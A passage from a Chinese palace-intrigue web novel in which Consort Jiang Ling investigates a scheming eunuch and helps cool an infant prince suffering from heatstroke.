阿箬紫衫是繁英阁贴身伺候的宫女,巡护皇宫的护卫再严苛,也要掂量一二。袁长生此举,确实是不顾江舲这个淑妃的面子。 以袁长生的聪明谨慎,黄梁着实捉摸不透,他为何突然对上了江舲。 江舲也在琢磨,无论宫里宫外,她都被认作是元明帝的宠妃。他既然带走了阿箬紫衫,又轻易放了她们。 此举除了得罪她,看似别无收获。 袁长生肯定不会做出如此愚蠢之事,他究竟用意何在? 第73章 雨下得昏天暗地, 回到繁英阁,江舲衣衫尽湿。她惦记着三皇子,匆匆更换了身干爽的衣衫, 便出门前去垂拱殿。 阿箬也梳洗过出来,忙取了雨伞跟着江舲, 道:“奴婢随着娘娘前去伺候。” 江舲本来叫丹桂跟着,打量着阿箬犹自苍白的脸色, 道:“你受了惊吓, 且歇着吧。” “奴婢没事。”阿箬打了个寒噤,旋即长长呼出口气, 笑道:“跟着娘娘,奴婢什么都不怕。先前奴婢奉娘娘的命前去华庆阁, 奴婢还得向娘娘回差使呢。” 回想起以前阿箬当差时的情形, 江舲不禁感慨,她真是长进了不少。 估计阿箬想说被袁长生带走之事,江舲便点头道好, “丹桂你歇着吧, 去陪着紫衫说说话。” 紫衫始终是太年轻, 虽有惊无险一场, 着实是被吓着了。 丹桂便留下来去陪紫衫, 阿箬跟在江舲的身边, 小声地说了起来:“庄美人与寻常一样,韩贵人与汪贵人也安安静静在自己的屋子里。奴婢与云慧说了几句话, 就与紫衫一道离开。出了华庆阁刚走进夹道中, 紫衫憋了许久,想着赶紧回到繁英阁如厕。奴婢见她走路腿都开始僵硬,回繁英阁还有好一段路。紫衫憋得脸色怪异, 举止不雅,奴婢恐路上遇到贵人,虽不合规矩,人有三急,与云慧她们都熟了,便让紫衫回华庆阁小解。紫衫实在是急迫难受,便答应了。奴婢见夹道墙那边的蔷薇开得盛。爬满了墙头。奴婢就没跟着回去,在原处站着赏花等紫衫。” 阿箬说到这里,略微停顿了下,终究是坦白道:“奴婢看蔷薇开得好,实在忍不住,垫着脚想要采一些。墙太高,奴婢够不着,试着跳起来去采,不曾注意到巡护的护卫。待奴婢发现时,袁大伴他们已经走了过来,不容分说,要将奴婢带走。这时紫衫也如完厕回来,见到奴婢被抓,赶忙上前查看究竟。袁大伴不通奴婢与紫衫解释,将我们一起捆住了。奴婢与紫衫吓得连哭带喊,华庆阁的云慧她们得知后,忙出来替奴婢与紫衫说话求情。袁大伴不见她们放在眼里,下令护卫将我们带了走。” 照着规矩,袁长生确实可以抓走阿箬紫衫。然而规矩归规矩,袁长生至少可先由阿箬紫衫解释,加上云慧她们的话,完全可以证实此乃误会,训斥两人几句已足矣。 从阿箬的话中,江舲能证实袁长生是有意为之,至于他的用意,却始终猜不透。 阿箬继续道:“到了巡护的值房,我们被扔进间黑漆冰冷的屋子后,便无人理会。我与紫衫都以为,就算大难不死,大半条命也没了。亏得娘娘来救了我们。娘娘,可是华庆阁那边来人找娘娘了?” 江舲一愣,道:“是文涓发现你们去了许久都没回来,天又快下雨,让丹桂带着雨伞来寻你们,方才得知你们被抓了去。” 阿箬难以置信地瞪大眼,愤愤道:“奴婢与紫衫已经去过好些次华庆阁,娘娘待庄美人仁至义尽,她却连个信都不来给娘娘报!” 江舲皱起眉,此事确实说不过去。 庄美人若真如阿箬所言那般,这段时日为她做所之事,显得格外可笑。 过去了这么久,始终不见华庆阁来人。无论庄美人有多少苦衷,终究是让人心寒。 江舲淡淡道:“以后不去了。” 阿箬生气附和,“奴婢也不想去,庄美人的眼神让人瘆得慌,好似奴婢要偷走四皇子,跟防贼一样防着奴婢。” 如此看来,庄美人并未彻底好转,不过病情未再加重而已。 江舲再转念一想,她待三皇子,又何尝不是如此。 到了垂拱殿门前,江舲让内侍前去传话,让文涓将三皇子带出来,她站在廊檐下避雨等候。 这时,雨中几人撑伞走来。待近了,江舲看清是韩贵人。 韩贵人未再穿以前的翠绿宫装,身着崭新的妃色软烟罗裙、她面孔粉搽得雪白,唇上胭脂血红。头上插着金镶玉冠梳,鬓角簪着一朵朱红蔷薇,眉心贴着蔷薇花瓣的花钿,珠光宝气,花团锦簇。 软烟罗极轻薄,一般在夏季炎热时穿着,且布料昂贵。以韩贵人的品级,夏日衫裙顶多是细绢布。再加上她发髻间璀璨夺目的冠梳,定当是元明帝所赐。 韩贵人看到立在廊檐下的江舲,神色变了变,惊愕了下,上前屈膝见礼:“真是巧,淑妃娘娘也在。瞧娘娘的衣裙都淋湿了,怎地站在这里?” 江舲看着韩贵人的盛装打扮,不顾下雨天凉,穿着盛夏时的衫裙,猜她被元明帝招来侍寝。 对韩贵人掩饰不住的得意,江舲无心理会,略微轻点了下头。 韩贵人见江舲不搭理自己,虽心有不甘,到底不敢招惹江舲,讪讪在门前等着人去回禀。 阿箬始终规规矩矩随侍左右,韩贵人看着她,眼眸转了几转,脸上挤出笑,道:“我听说娘娘宫中的宫女,被巡护的护卫带了去。娘娘宫中的人,怎地这般没规矩,闯了大祸,连累了娘娘。” 江舲缓缓笑了,指着阿箬道:“她不是好生生的?我宫中的宫女,闯了祸也无妨。”边说着话,边踱步到韩贵人身前,看到她瞳孔猛地张大,惊惶地往后仰,不禁笑意更甚。 “倒是你,别惹不该惹的人,拿不该拿的东西。” 韩贵人脸色煞白,江舲轻叹一口气,一字一顿道:“我并非在恐吓你,你始终要记住一件事,天上不会掉馅饼。你还年轻,有的是机会,莫要为乱花迷了眼,丧了命。” “娘娘……我不懂娘娘在说什么。”韩贵人只感到呼吸都困难,她不敢直视江舲,胡乱地回了句。 “你当然懂。”江舲不再多言,伸手摘掉她鬓角的蔷薇,抚平凌乱的发丝,道:“过犹不及,反倒污了你原来的颜色。” 韩贵人大气都不敢出,下意识伸手去摸鬓角。这时文涓抱着三皇子走在前,黄梁与抬着软轿的内侍在后,一行人浩浩荡荡走了出来。 江舲将蔷薇放在韩贵人手心,笑着对窝在文涓身前,眼珠咕噜噜转的三皇子伸出手。 三皇子看到江舲,立刻吱吱呀呀起来,扭动着胖乎乎的身子向她扑来。文涓赶紧护着他,小心翼翼将他交给江舲抱着。 “皇上问,娘娘怎地不进去?”黄梁躬身见礼,问道。 “皇上忙,我不敢前去叨扰。”江舲笑着回了句。 黄梁余光瞄到立在那里的韩贵人,眼里尴尬闪过,忙道:“奴婢奉皇上的命,送娘娘三皇子回繁英阁。” “劳烦了。”江舲说了句,抱着三皇子上了软轿。 三皇子饿了,埋在江舲胸前,哼哼唧唧起来。江舲柔声哄着他,到了繁英阁,赶紧喂他吃奶。 文涓坐在一旁,笑着说道:“奴婢与青檀到了垂拱殿,皇上就亲自来将三皇子带去了御书房。听张善说,皇上一边批阅折子,一边抱着三皇子,折子被三皇子抓烂了几本,皇上的龙袍被三皇子尿湿,都舍不得放手,让三皇子自己玩耍。奴婢带去的米糊糊,皇上令张善在御书房廊檐下熬煮,寸步都不得离开。” 江舲听得挑了挑眉,抚摸着三皇子圆鼓鼓的肚皮,嗔怪地道:“原来你已吃过了米糊糊,我还以为你饿得很呢,竟然是贪嘴。”她断然放下衣衫,没再让三皇子吃下去。 文涓抿嘴笑道:“娘娘吩咐过,不得让三皇子吃太多。奴婢担心皇上,前去找张善,果然,皇上喂了三皇子一小碗,见他还叫唤着不依,又心疼要再喂。奴婢赶紧拦着,皇上听到是娘娘的主意,这才作罢。” 江舲看向文涓,淡然说道:“这么小的人,肚皮能有多大,喂过一碗,竟还觉着不够,这宠溺得过头了些。” 文涓想到在垂拱殿前见到的韩贵人,顿了顿,道:“先前皇上得知娘娘赶去找袁大伴,二话不说让黄梁来传旨。奴婢以为,皇上待娘娘三皇子。自是与旁人不同。跟着娘娘之后,一直日顺风顺水,奴婢真是昏了头。” “你别多想,我就是随口一说。”江舲望着在榻上爬得欢的三皇子,心里骂着元明帝。 狗东西真是没用,自己的亲儿子都看不好! 文涓呼出口气,道:“娘娘,阿箬紫衫没事吧?” 江舲摇摇头,“她们受了惊吓,你们辛苦些,让她们多歇上两日缓缓。三皇子长大了,越来越淘气,你们几人看不过来,我去挑几个新进宫的小黄门,找几个可靠的放在三皇子身边伺候” 此时,江舲脑中灵光一闪,问道:“你可知袁长生家在何处?” 文涓回忆着道:“奴婢不甚清楚,有人说他是京郊人,又有人说他祖籍甘州府,在京城长大。袁大伴一口京城口音,奴婢以为,袁大伴应当就是京城人。” 听到甘州府,江舲神色若有所思,好似柳贤妃家乡也在甘州。 不过,柳贤妃父亲是官员,家眷随着柳父前去任地,在甘州府的时日不多。且袁长生能去势进宫做宦官,两人身份差异巨大,根本无认识的可能。 江舲正在思索中,被元明帝指挥得腿都跑细了圈的黄梁又来了。他捧着一只精美的雕花黄花梨匣子,脸上堆满笑道:“娘娘,这是皇上极为喜欢的活眼青花砚,李墨。皇上吩咐奴婢给娘娘送了来。” 匣子中放着一方砚台,砚台中心的花纹,仿佛似眼睛,瞳仁晶莹泛光。在瞳仁旁边,仔细一看,则是隐约的青蓝花点。李墨坚硬如玉,细腻,如撒了金粉的漆般光泽闪动。 江舲仅在极度无聊时,会写几个大字。元明帝明明清楚,还嫌弃地称她写字是浪费笔墨,却送了价值千金的砚台与墨锭给她。 若非砚台与墨锭太贵重,江舲会认为,元明帝是在嘲讽她。 余下的可能,便是他在心虚! 果然,黄梁头快埋进了地里,赔笑道:“娘娘,皇上朝政繁忙,韩贵人前去觐见,皇上把她打发了回去。皇上今朝没空来看娘娘与三皇子,天气多变,娘娘与三皇子要万万多保重身子。” 江舲觉着滑稽至极,笑道:“黄大伴,你的腰不好,站起来说话吧。” 黄梁应是,他缓慢直起身,骨头如炒豆子般清脆喀嚓响。 江舲心中感慨,想着黄梁与袁长生的你来我往,心思微转。她让文涓奉茶,将黄梁留了下来,热情地道:“你今天跑来跑去,着实辛苦,快坐着吃杯热茶。” 黄梁撑着酸痛的腰,在锦凳上坐下,文涓奉上春日新上贡的团茶,茶香扑鼻,他忍不住端起茶盏,连着吃了两口:“多谢娘娘,奴婢最最喜欢的便是龙凤团茶。” “我那里有,等下分你一半。”江舲不说赏,大方地道。 黄梁愣住,忙要拒绝,“不敢不敢,娘娘还是留着自己吃,奴婢尝一尝就满足了。” 江舲道:“无妨。我吃完之后,再去问皇上拿。” 黄梁被江舲的直白,弄得差点笑出声,他赶紧忍住,躬身谢了恩。 两人吃着茶,随意说着闲话。待半盏茶之后,江舲状若无意地道:“黄大伴先前说,袁长生城府极深,手段狠厉。我当时在气头上,未曾当做一回事。如今闲下来,越想越后悔。黄大伴与袁长生可熟,能否帮我传个话,我想见他,亲自给他赔个不是。” 黄梁忙放下茶盏,道:“娘娘,奴婢与袁长生算得上熟稔,等下亲自走一趟,将娘娘的话带到。” 江舲颔首道劳烦,黄梁略微坐了阵便告辞,前去找袁长生。 待晚膳之后,黄梁让钱串子来回话,袁长生会在明朝巳时初,前来繁英阁拜见江舲。 第74章 雨势入夜渐微, 终在晨曦时停歇。雨后的天空一片澄澈,太阳升起之后,已然带着夏日的炎热。 暖阁的窗棂卸下, 苇帘半卷。江舲托着三皇子的腋下,他高兴地趴在窗棂上, 小手不断拍打着,自顾自咯咯笑个不停。 时日一点点过去, 到巳时初, 丹桂前来回禀道:“娘娘,袁大伴来了。” “还真是准时。”江舲笑说了句, 让丹桂去请袁长生进来,顺手将三皇子交给文涓带去别处玩耍, 理了理凌乱的衣衫。 袁长生很快随着丹桂进了暖阁, 他身着朱色的朝服,上前见礼。 江舲放下茶盏,颔首道:“袁大伴请坐。” 丹桂斟茶后退下, 袁长生退后两步立着, 道:“多谢淑妃娘娘赐座, 奴婢正在当差, 不便多留。先前奴婢与皇上请过命, 因在巡护时发现淑妃娘娘的宫女有违宫规, 奴婢将她们捉拿了去。后奴婢已经查明,两人并无坏心思。奴婢当差时规矩太重, 得罪了娘娘, 奴婢前来给娘娘赔个不是。” 说话间,袁长生深深长揖下去,态度恭敬, 话说得更是滴水不漏。 身为勾皇宫的都知,仅听令于元明帝。不结党营私,与宫妃们往来频繁,以免互相勾结,危乱后宫。 带走阿箬紫衫,乃是因着忠心,铁面无私。且她们确实有不合规矩之处,他并无仗着权势为所欲为。 但他却主动来向江舲赔罪,谨记自己的宦官身份,绝不奴大欺主。 事先请示元明帝,既讨好了他,亦再摆正自己的位置,显示了忠心。 袁长生果真如黄梁所言那般聪明,手腕高超。江舲一时愣在了那里,要仔细琢磨,才敢回应他。 “袁大伴客气了,我找袁大伴来,也是为了向袁大伴赔个不是。” 江舲还是照着原本所想,欠身下去,袁长生道不敢,侧身避开江舲的礼。 “像是我昨日所言那样,我确实护短,当时急了些,怕阿箬紫衫吃亏。若有冒犯之处,还请袁大伴莫要放在心上。” 江舲只管欠身,无视袁长生客套,道:“袁大伴请坐着吃杯茶。” 袁长生怔住,先前他已言明在当差,江舲如没听到一样,还是请他坐着吃茶。他犹豫了下,在坐槛上坐了下来。 江舲当然知晓袁长生的拒绝,但她无视,照她原来的打算来。 “听袁大伴说话,好似是京城人?”江舲生硬地攀谈道。 “回娘娘,奴婢属京城人。”袁长生眸中疑惑一闪而过,不动声色答道。 换做以前的江舲,对袁长生的回答肯定不会多想。她现在满腹怀疑,以她看来,“属京城人”有两重意思。 袁长生如今是官宦,在皇宫当差,即便是来自外地州府,当可称作京城人。 另一重意思,则是他确实是京城人。 江舲道怪不得,“袁大伴的亲人都在京城,虽进了宫,倒也能时常见面。” 袁长生似乎不愿多言,起身施礼下去,“奴婢正在当差,不得久留,奴婢这就告退。” 江舲颔首,“袁大伴去吧。” 袁长生转身匆匆离开,江舲望着他颀长挺直的背影,眉心不由自主蹙起。 先前借着请袁长生吃茶的时机,她不动声色端详过他的手。手指修长,骨节分明,食指拇指以及中指,皆有一层薄茧,这是常年习字留下的痕迹。 再者,宫中内侍九成九都出自穷苦人家,御前的黄梁张善他们,算是身居高位,幼时贫困的痕迹随处可见。一是看他们的手,劳作的手指骨节会变形。二是他们本身的气质。 内侍进宫之后,若无乡党的帮助,皆要从最脏最苦的活做起。就算有乡党帮助,原本穷困家庭出身,决定了他们大字不识几个,亦要靠着后天的学习。 人的气度并非一朝一夕能养成,穿上锦缎华服就能展现。 从袁长生的一举一动上,江舲看到了世家大族子弟的仪态。 且在她看来,袁长生模棱两可的回答,证明了他对出身来历颇为警惕。 进宫皆要查祖上三代,江舲当然不会相信这些,后世都能伪造身份,何况是大胤。 江舲沉思了半晌,听到三皇子在哭,忙起身朝窗棂外看去。 文涓抱着三皇子站在海棠树下,他扭着身子,哭哭唧唧个不停,无论文涓如何哄,他都不依。 “我这里没事了,他估计是饿了,把他抱过来吧。”江舲忙道。 文涓连忙抱着三皇子到暖阁,江舲搂着他喂奶。他一下不哭了,含泪吃得很是欢快。 “这小子!”江舲啧啧摇头,接过文涓递来的细布,轻轻擦拭掉三皇子胖脸上的泪,道:“文涓,你让人出宫传召,让阿娘明朝进宫一趟。” 文涓忙去了,翌日,薛夫人进了宫。 江舲仔仔细细将事情交代给了薛夫人,叮嘱道:“阿娘,你让两位师爷一定要小心,此事不急。莫要太过刻意,只留心一下即可。” 薛夫人听得神色紧张,四下张望,小声道:“阿舲,可是出什么大事了?” 江舲笑着道:“我就是找一个人,没什么大事,阿娘你别多想,多管。只当传个话,让谢师爷与胡师爷去做就是。” 薛氏见江舲面色如常,人与以前一样精神奕奕,便放了心,慈爱地看着三皇子,道:“你放心,我回去就直接告诉两人,连你阿爹都不说。你阿爹大哥天天前去衙门当差,光是那些花花草草都顾不过来,跟他说了亦无用。” 江文修与江承望父子到苑囿当差之后,只认识花木,都让他们昏头脑张。 两人虽不懂,江舲压着他们不许贪腐,苑囿的花木虽养得不算好,至少不会在年节时短缺太多。秦尙宫管着尚寝局,有她相帮,苑囿那边迄今也没出什么乱子。 不过,这些都得靠谢胡两位师爷的功劳。认识花木远不够。花木价钱,贵贱,移株,花肥等都是学问。 谢胡脑子灵活,结识了三教九流的人,不会让江氏父子被蒙骗。 江舲最是看中他们的这一点,郑择吴适山是官,他们的路数与谢胡两人不同。江舲想做之事,郑吴比不上他们。 天气日渐炎热,这天午歇起来,江舲闷出一身的汗。她一摸三皇子,他后背衣衫已半湿,脸颊红得似要滴血。 “文涓,等下去领些冰来,屋中的冰鉴该用起来了。”江舲先喂三皇子吃水,对文涓说道。 如今江舲与林贵妃她们一样,日常的吃穿用度,基本不按照份例来,所需之物,随时可以领取。 文涓领着紫衫前去领了冰回来,没多时,屋中开始凉爽宜人。 原来神情恹恹的三皇子,如鱼儿重回水中,在榻上爬得欢快至极。 文涓望着光着藕节一般胳膊,只着细布短衫的三皇子,笑道:“如三皇子这般小的年纪,生怕会冷着,寒气浸体。屋中休说用冰,还要穿得厚实。” 江舲指着三皇子红扑扑的脸蛋,失笑道:“大人觉着热得不舒服,小儿一样如此。他成日动来动去,如何会冷。” 宫女们洗漱不方便,身上出汗容易发酸,让主子闻到不雅。文涓对寒冷倒能忍,不喜炎热,打心底喜欢屋中摆了冰鉴的凉爽。 江舲说道:“文涓,你煮些滚水,等放凉之后,里面放些蜜,再加些切成丁的新鲜果子,装在干净的罐子中,放在冰中凉起来,等下吃果子冰碗。” 文涓这时迟疑起来,道:“娘娘,冰碗容易腹泻。” “藏着的冰水不干净,不能直接用藏着的冰块。煮沸水放凉,用干净的罐子,就没事了。”江舲解释道。 文涓一听,立刻高兴地去了。她让膳房送了蜜,杏,枇杷来,放在用沸水洗过的罐子中冰起来。 到了傍晚时分,江舲等不及了,让文涓将罐子拿来,舀了一勺尝了。加了蜜之后,连比较酸的杏与枇杷都变得甜滋滋,冰凉得五脏六腑都舒爽。 江舲舀了小半碗,其余的让文涓阿箬她们拿去分了。三皇子见江舲吃,馋得不断咂嘴,直往江舲跟前凑。 江舲被他逗得哈哈笑,他吃不得蜜,拿了一只去核的枇杷让他啃。生怕他被呛着,江舲寸步不离在一旁守着他。 “娘娘,云慧云霞来了,称有急事事要求见娘娘。”文涓从外面掀帘进屋道。 自从阿箬紫衫的事情之后,江舲再也没管华庆阁之事。 江舲估计她们前来没好事,转头看了下天色,道:“她这个时候来作甚?罢了,让她们进来吧。” 文涓领着云慧云霞进屋,两人神色仓惶,一进屋就跪了下来,砰砰地磕头。 “娘娘,求娘娘救命!”云慧哭着道。 “娘娘救命啊!”云霞跟着她一起哭,额头磕得渗血。 江舲回过神,赶忙道:“你们快起来,有事说事,别急,一个个说。” 文涓怕三皇子被吓着,忙将他抱到明间去,拿布巾擦拭着他满脸满手的汁水。 云慧抹了把泪:“美人,美人她疯了……抱着四皇子不肯撒手。美人将四皇子裹得严严实实,藏在床上不许人靠近,四皇子身上的衣衫湿透,哭闹不休。” 云霞接着道:“奴婢与云慧放心不下,去请吴太医来诊治。美人仍然不肯放手,吴太医无法,只能偷偷扎了美人一针,让奴婢趁机将四皇子抢了出来。吴太医称,四皇子得了中热,万分凶险,让人前去回禀了皇上。皇上下令将美人暂且关到撷芳阁,不许她再接近四皇子。” 江舲不懂何为中热,不过听她们的描述,四皇子应该是热射病。以大胤的医疗水平,四皇子虽不曾抽搐昏迷,死活只能靠天意了。 “庄美人不是好好的,怎地愈发严重了?”江舲暗自叹息一声,不解问道。 云慧抽泣着道:“娘娘,那天娘娘吩咐阿箬紫衫前来华庆阁,后来她们被袁大伴抓走了。娘娘得知之后,就开始在屋中不安走来走去,奴婢拼命地劝说,美人时而能听进去,安静一阵。听不进去时,便吃不下睡不着,不错眼地看着四皇子,连如厕都离不得跟前。” “娘娘,美人被关了起来,四皇子又出了事,我们都活不了。求娘娘救救我们吧!”云霞从锦凳上起身,跪地俯在地上,害怕地磕着头。 江舲怔在那里,此时,她恍然大悟,明白了袁长生抓阿箬紫衫的用意! 若她猜测无错的话,袁长生每一步都精心算计,借力打力。 他表面抓阿箬紫衫,实则是箭指庄美人! 第75章 与以前一样, 江舲可以推断出最合理的解释,但这些并无证据。 无论是在大胤还是后宫,证据并不重要, 最主要之处在于,袁长生是元明帝的人。 好比是安禄山有造反之心, 涉及到天下江山,李隆基却不相信。 其实换做是江舲自己, 她估计也会认为是无稽之谈。 因为袁长生是如假包换的宦官, 他可以隐瞒身世,进宫时要经过数次验身。初进宫时, 他毫无根基,没那么大的本事瞒天过海。 袁长生手中无兵, 造不了反。若是因为被冤枉, 他该给家人努力平反。若是因为被皇帝下令抄家流放,造成家破人亡,心有不甘要害元明帝, 每日都有机会动手。 即便杀了元明帝, 名不正言不顺, 会被朝臣官员当做弑君的逆贼, 做不了皇帝。 转了一圈, 江舲再次回到原点。 袁长生不曾有害庄美人的理由。 云慧云霞如惊弓之鸟, 慌乱无主地磕头,盼着江舲能救她们一命。 江舲望着两人红肿的额头, 她回过身, 赶忙道:“你们快起来吧,我这里唉,你们来繁英阁, 谁留在华庆阁伺候,四皇子如何了?” 云慧脸色惨白,战战兢兢答道:“太医院的太医他们在救治四皇子,美人被带走,奴婢被赶了出来,奴婢不知四皇子的情形。” “你们去缓一缓,先冷静一下。”江舲无奈,准备唤紫衫来领她们两人下去. 门帘被掀开,阿箬探进头,道:“娘娘,皇上来了,还有郑太医正,吴太医他们,好多的人” 江舲心中一咯噔,直觉元明帝一行前来没好事,连忙站了起身。云慧云霞被吓得惊恐万分,颤抖着快要晕过去。 “阿箬带她们去歇着,给她们蜜水吃。”甜有安抚人心的功效,江舲连忙让阿箬把她们带出去,脚步匆匆出了门。 元明帝神色阴沉走在最前,黄梁怀中搂着一个襁褓紧随其后。江舲盯着黄梁,霎时瞪大双眸,心道果然不妙! “起吧,进屋去说话。”元明帝对屈膝的江舲抬了抬手,大步进了明间。 “怎地放了冰,快撤下!”元明帝走得一头的汗,察觉到明间凉意阵阵,看到角落的冰鉴,立刻不悦地道。 黄梁听到元明帝的话,赶紧退出门槛。文涓本搂着三皇子在明间玩耍,元明帝看到更是怒不可遏,厉声道:“贱婢,竟贪恋着凉快,将三皇子置身于寒气浸人的屋中。若是三皇子有丁点的不妥,朕诛你九族!” 文涓垂首一声不敢吭,江舲不悦了,示意她抱三皇子去次间,面无表情道:“不知皇上前来有何事?” 元明帝因着四皇子的身子,积了满肚皮的邪火,指着冰鉴恼怒地道:“平时你恣意妄为,朕从不管你。你疼爱小舟,就是这般疼爱!寒湿浸体,小舟的身子如何吃得消!” “他没事!”江舲懒得与他解释,侧转过身,看着门外立着的郑择吴适山黄梁,以及他怀中的襁褓,道:“郑太医正,吴太医,你们这是在作甚?” 郑太医正上前一步答道:“娘娘……” “进屋来说话。”江舲望着他们一头一脸的汗,心中大致猜到了几分。 郑择吴太医进了屋,凉爽袭来,两人不禁暗自舒了口气。黄梁仍旧立在门外不敢动,江舲对他道:“你也进来!” 不得元明帝的旨意,黄梁哪敢动,一脸左右为难,僵在了那里。 江舲心底叹气,走到黄梁面前,看向他怀中的襁褓。似乎怕被风吹着,襁褓上面还搭了层纱绡。掀开纱绡,露出四皇子面色潮红的脸,他生下来时偏瘦弱,这时仍旧小小的一团,哭声如幼猫,不时无力地哼一声。 “真是可怜。”江舲看得难受,伸手把四皇子抱了过来,不由分说脱掉他的襁褓,解开他穿着的衣衫。 毕竟大胤落后,后世还有人将幼儿捂出热射病,她那股气就散了,不再多苛责。 郑择神色震惊,吴适山若有所思看着江舲,元明帝气得跳起来,蹬蹬几步来到她面前,“你要作甚?” “你们可能救他?”江舲不搭理元明帝,直接问郑择吴适山。 两人皆愣住,郑择羞愧地道:“回娘娘,如四皇子此般情形,臣从未见过有能好转者。” 吴适山道:“娘娘,四皇子患了中热,尙不足两月,且身子瘦弱。臣与郑太医束手无策,不敢用药下针。” 江舲能理解他们的顾虑,毕竟事关皇子的性命,上次靠她救命方逃过一劫,岂敢再随意冒险。 不过,没用药倒是好事。像是三皇子这般大小,连清水都不能吃,何况是吃药。 江舲干脆地对脸色铁青的元明帝道:“皇上既然带着四皇子到繁英阁,我这里有个法子,虽无法保证让四皇子好转过来,至少能让他好受些。皇上准许的话,我就用了。皇上若不许,我就再也不管。我只说一声,皇上,四皇子已经危在旦夕!” 她并未危言耸听,更没那么大的本事,保证能救四皇子。 在心底深处,有一道声音在不断嘲讽她:“你别乱出头,显得很勇敢,其实是很蠢。你的社恐内向呢?你这是在找死,出力不讨好啊!” 仿佛是撞邪一样,江舲终究义无反顾说了出来。她嘴角浮起苦涩的笑,我了握拳,给自己打气。 郑择胸口被堵住,鼻子阵阵发酸。吴适山更是如此,怔怔望着果决的江舲,眼眶止不住发热。 身为医者,自是知晓四皇子的情形如何艰险。休说太医院,整个大胤,皆不得治疗的法子。四皇子身份尊贵,除去元明帝,朝堂上下都无人敢做主。 江舲才是最该回避之人,往深了想,元明帝皇储未立,四皇子活着,对她、三皇子皆无好处。 四皇子治不好,虽与江舲无关,难保元明帝会迁怒于她,他们母子都因此受到牵连。 偏生,她果决地站了出来,主动揽下了重担。 元明帝一瞬不瞬凝望着江舲,喉结上下滚动,嘴唇翕动了下,最终只说了声可。 四皇子萎靡不振地躺在那里,太医们束手无策。 华庆阁炎热,弥漫着一股若隐若现的酸臭气。庄美人的尖声哭喊,似乎经久不散,在屋梁上萦绕。 元明帝心痛如绞,不知为何想到江舲,被她乍暖还寒时,放在地上乱爬,活泼结实的三皇子。 在六神无主时,元明帝下意识下旨,将四皇子带到了繁英阁。 她果真不负他所望,是他最最信任之人。即便不是她亲生的儿子,不忌不妒,大度宽厚。与他夫唱妇随,在此时挑起大梁。 压在心头的巨石,仿佛瞬间被揭开,元明帝终于能喘过气,眸光情不自禁随着江舲转,脆弱而深情。 对元明帝的反应,江舲已经无暇顾及,她不断提醒自己,她是母亲,是宫妃,更是人。 “拿碎冰放进皮囊中,多拿一些,用布巾裹结实。取三皇子穿的细布衣衫来……” 江舲一叠声吩咐下去,其他无关人等都赶出去,指挥吴适山将三皇子玩的毡垫拖到冰鉴旁。她将四皇子放在毡垫上,将他浑身脱得精光,换上三皇子的干爽宽松衣衫。 冰鉴边气温更低,江舲拿着扇子,避开三皇子的头,在他身上扇风降温。 皮囊凉水布巾逐渐送进屋,吴适山郑择照着江舲的指挥,将装着冰的皮囊,在三皇子周围围了一圈。在凉水中打湿布巾,放在他的额头上,轻轻擦拭他的大腿,腋下等处。 “奶娘呢?”江舲看着他们忙碌,想着四皇子要补水,走到门边问道。 “奴婢这就去叫她们来。”侯在门外的黄梁赶紧道。 “让奶娘清洗干净身子,换身干净衣衫等着。”江舲想到什么,道:“让云慧云霞也去洗一洗,等下好来伺候。” 阿箬赶忙去了,江舲重新回到四皇子身边,蹲下来轻触他的额头,腋窝,后背。 “我觉着凉爽了些,你来试试看。”江舲顿了下,不确定地对吴适山说道。 吴适山正要伸手,江舲看到他手上拿着用凉水浸湿的布巾,道:“你的手凉,让皇上来试。” 元明帝闻言上前,江舲触摸过他的手,他穿着里三层外三层的龙袍,不过屋中凉爽,他的手温适中。 照着江舲的指点,元明帝探过四皇子的体温,他喜不自胜道:“朕也觉着不烫手了,脸色也好转不少,不似先前那般红。” 郑择观察得细致,道:“臣觉着四皇子的精神恢复了些,先前四皇子可见很是难受,不时啼哭。哭声虚弱,如今他的腿脚蹬动,比先前有力了!” “娘娘真是厉害!”吴适山高兴不已,夸赞道, 江舲并不敢领这份功劳,这些知识在后世随处可见,只要有心,人人都可以学到。 并非人人都能像四皇子一样幸运,首先尙只有热射病的迹象。他要真是热射病,这时早已昏迷了。其次他身在皇家,在炎夏能有冰降温。 “我以为,无论老少,都要以舒适为主。我们不觉着热或者冷,婴儿是人,一样如此” 江舲仔细地,事无巨细地将她所知道的知识,一点点告诉郑择吴适山。他们听得极为认真,掩饰不住地感激。 四皇子终于缓解了些,江舲却不敢掉以轻心,让奶娘进来喂他奶。 “你喂他便是,怎地还叫奶娘?”元明帝柔声道。 江舲瞥了他一眼,当着郑择吴适山的面,到底没将她不是奶娘说出口,道:“小舟要吃,” 三皇子在次间咯咯大笑,元明帝讪讪了下,忍不住跟着一起笑了,“这小子,成天真是片刻都停不下来。” “地毡上有个停下来的呢!”江舲在心中骂了他一句,见奶娘立在门前,招手让她进屋,问道:“更洗过了?” 云慧机灵,清楚江舲是给她活命的机会,赶忙答道:“娘娘,这是夏奶娘,奴婢与云霞一起,亲自盯着她更洗过,娘娘放心。” 即便奶娘勤清洗,华清阁无冰,走这一路,身上早就被汗水湿透,容易滋生细菌。四皇子虚弱,已经经受不起任何的风险。 江舲将元明帝他们一起赶了出去,放下门帘的纱绡,留吴奶娘在屋中喂四皇子。 吴奶娘小心翼翼抱起四皇子,解开衣衫。江舲绷紧神经盯着他,默默地道:“一定要吃,一定要吃,只要能吃奶,就能好大半了!” 四皇子小嘴蠕动了几下,终于吃起了奶。江舲长长舒了口气,这下才发现她早已汗湿衣衫,手脚都发软。 吃过奶后,四皇子打着哈欠,尿了奶娘一身,沉沉睡了过去。 江舲元明帝他们进屋,道:“皇上,四皇子已经好转了些,吃过奶睡了。时辰不早,皇上将四皇子带回去吧。我只能让他舒适吃睡,其他的,我也不懂了。 元明帝一怔,含糊着道:“他身子弱,不宜搬动,且先放在你身边养着。” 狗东西,竟然还赖上她了! 她已经有了儿子,养三皇子都耗尽力气,绝不会再自找麻烦! 江舲心思微转,思索着袁长生的举动。 谁想抚育四皇子,谁就是幕后的指使,与他有勾结! 恰好这时三皇子扯着嗓子叫起来,江舲歉意地道:“贵妃娘娘,德妃娘娘,贤妃娘娘的孩子都养得很好,无论让她们谁看着四皇子都行。三皇子还小,离不得我半步,我实在是没精力看顾四皇子。再说,三皇子吵得几里外都听得到,四皇子需要静养,不宜留在繁英阁。” 元明帝唔了声,沉吟着道:“待四皇子好转一些,朕会安排好。你救四皇子有功,朕不会亏待你。” 江舲对元明帝的恩赐嗤之以鼻,暂且让四皇子留了下来,暗中等着她们几人的反应。 